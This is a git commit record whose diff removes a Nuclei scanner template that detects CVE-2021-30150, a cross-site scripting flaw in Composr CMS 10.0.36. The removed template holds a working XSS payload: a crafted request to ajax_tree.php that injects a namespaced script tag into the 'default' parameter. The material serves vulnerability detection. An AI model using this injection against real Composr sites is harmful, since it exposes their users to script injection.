Moving this to separate PR

patch-1
sandeep 2021-04-14 01:28:37 +05:30
parent 88037019ce
commit 5986dcaa07
1 changed files with 0 additions and 25 deletions

View File

@ -1,25 +0,0 @@
id: CVE-2021-30150
info:
name: CVE-2021-30150
author: DhiyaneshDk
severity: medium
description: Composr 10.0.36 allows XSS in an XML script.
reference: |
- https://nvd.nist.gov/vuln/detail/CVE-2021-30150
- https://packetstormsecurity.com/files/162111/Composr-CMS-10.0.36-Cross-Site-Scripting.html
tags: cve,cve2021,xss,composr
requests:
- method: GET
path:
- '{{BaseURL}}/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("nuclei")</something:script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- alert("nuclei")
- type: status
status:
- 200